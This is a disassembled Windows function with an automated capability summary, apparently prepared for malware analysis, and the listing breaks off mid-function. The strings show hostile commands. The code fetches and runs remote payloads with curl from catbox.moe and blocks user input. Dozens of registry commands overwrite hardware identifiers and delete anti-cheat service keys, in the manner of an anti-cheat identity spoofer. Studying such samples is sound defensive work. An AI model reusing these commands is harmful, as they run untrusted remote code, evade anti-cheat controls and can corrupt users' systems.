Function at 0x14005d050
Capabilities:
Capture network configuration via ipconfig
Delete volume shadow copies
Execute command
Persist via windows service
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [0x14011c240]
xor rax, rsp
mov qword [rbp + 0x658], rax
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp + 0x18]
call fcn.14005ce50
nop
lea rcx, [rbp - 8]
call fcn.14005ce50
nop
lea rcx, [rbp - 0x28]
call fcn.14005ce50
nop
lea rcx, [rbp - 0x48]
call fcn.14005ce50
nop
lea rcx, [rbp - 0x68]
call fcn.14005ce50
nop
lea rcx, [rsp + 0x78]
call fcn.14005ce50
nop
lea rcx, [rbp + 0xf8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0xd8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0xb8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x98]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x78]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x58]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x38]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x638]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x618]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x5f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x5d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x5b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x598]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x578]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x558]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x538]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x518]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x4f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x4d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x4b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x498]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x478]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x458]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x438]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x418]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x3f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x3d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x3b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x398]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x378]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x358]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x338]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x318]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x2f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x2d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x2b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x298]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x278]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x258]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x238]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x218]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x1f8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x1d8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x1b8]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x198]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x178]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x158]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x138]
call fcn.14005ce50
nop
lea rcx, [rbp + 0x118]
call fcn.14005ce50
nop
lea ecx, [r13 + 1]
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.curl___silent_https:__files.catbox.moe_cyvab0.bin___output_C:Windows_resetadapyters.EXE__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_2auxo6.sys___output_C:Windows_amifldrv64.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xre5ck___output_C:WindowsDisk1.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_8o2zsu.bat___output_C:WindowsMac.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlComputerNameComputerName__v_ComputerName__t_REG_SZ__d__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlComputerNameActiveComputerName__v_ComputerName__t_REG_SZ__d__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareIds__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware___Profiles0001__v_HwProfileGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftSQMClient__v_MachineId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftSQMClient__v_WinSqmFirstSessionStartTime__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftCryptography__v_MachineGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftCryptography__v_GUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMHardwareConfig__v_LastConfig__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobal__v_ClientUUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobal__v_PersistenceIdentifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobalCoProcManager__v_ChipsetMatchID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDEVICEMAPScsiScsi___Port___0Scsi___Bus___0Target___Id___0Logical___Unit___Id___0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDEVICEMAPScsiScsi___Port___1Scsi___Bus___0Target___Id___0Logical___Unit___Id___0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMHARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral1__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesBasicDisplayVideo__v_VideoID__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetServicesTcpipParameters__v_Hostname__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSystemCurrentControlSetServicesTcpipParameters__v_Domain__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSystemCurrentControlSetControlDevQuery6__v_UUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMCurrentControlSetServicesTcpipParameters__v_NV___Hostname__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_InstallTime__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_InstallDate__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_ProductId__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_BuildGUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMSoftwareMicrosoft__v_BuildLab__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMSoftwareMicrosoft__v_BuildLabEx__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_AccountDomainSid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_PingID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_SusClientId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersionTracingMicrosoftProfileProfile__v_Guid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_RegisteredOwner__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_RegisteredOrganization__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_BuildBranch__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_DigitalProductId__t_REG_BINARY__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_DigitalProductId4__t_REG_BINARY__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesmouhidParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServiceskbdhidParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesUSBHUB3Parameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKLMSYSTEMControlSet001ServicesUSBXHCIParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMMountedDevices__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucketVolume__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2CPCVolume__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucket__v_LastEnum__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSOFTWAREMicrosoftDfrgStatistics__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_AcpiData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_BiosData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_RegistersData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_SMBiosData__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMHARDWAREDESCRIPTIONSystemCentralProcessor0__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMControlSet001ServicesEasyAntiCheat__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete_HKLMSYSTEMControlSet001ServicesBEService__f__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_resetadapyters.EXE__SU_AUTO__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r15, qword [rbp + 0x28]
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, r15
cmp rax, 0x22
jb 0x14005eddd
lea r14, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r14, qword [rbp + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r15 + 0x22]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
movabs rcx, 0x8000000000000000
lea eax, [rbx + 7]
cmp rsi, rbx
jbe 0x14005d73b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005d701
mov rbx, r12
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005d8b9
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005d736
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005d724
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005edbf
jmp 0x14005d6e2
test rcx, rcx
je 0x14005d733
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005d736
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__SS]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fc700]
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [0x1400fc710]
mov word [rdi + 0x20], ax
lea rcx, [rdi + 0x22]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005d7c9
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005d7ea
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005d872
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d86d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005d86d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005d8c5
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005d8c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005d8c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp + 8]
mov rax, r12
sub rax, r14
cmp rax, 0x23
jb 0x14005ede3
lea r15, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova r15, qword [rbp - 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x23]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005d987
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005d947
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005db0f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005d982
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005d970
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005edc5
jmp 0x14005d928
test rcx, rcx
je 0x14005d97f
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005d982
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CSK]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fc728]
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [0x1400fc738]
mov word [rdi + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 0x22], al
lea rcx, [rdi + 0x23]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005da1f
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005da40
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005dac8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dac3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005dac3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005db1b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005db16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005db16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
mov r14, qword [rbp - 0x18]
mov rax, r12
sub rax, r14
cmp rax, 0x23
jb 0x14005ede9
lea r15, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova r15, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r14 + 0x23]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x14005dbdd
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x14005db9d
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400afc8c
test rax, rax
je 0x14005dd65
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005dbd8
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005dbc6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005edcb
jmp 0x14005db7e
test rcx, rcx
je 0x14005dbd5
call fcn.1400afc8c
mov rdi, rax
jmp 0x14005dbd8
mov rdi, r13
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [str.C:Windows_resetadapyters.EXE__CM]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x1400fc750]
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [0x1400fc760]
mov word [rdi + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 0x22], al
lea rcx, [rdi + 0x23]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 5
jb 0x14005dc75
lea rax, [rcx + 5]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 5
lea rdx, str.__nul
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 5], 0
lea rax, [rsp + 0x30]
jmp 0x14005dc96
mov qword [rsp + 0x20], 5
lea r9, str.__nul
xor r8d, r8d
lea edx, [r8 + 5]
lea rcx, [rsp + 0x30]
call fcn.140059d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005dd1e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dd19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005dd19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400af628
movdqa xmm0, xmmword [0x14010b2b0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14005dd71
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dd6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005dd6c
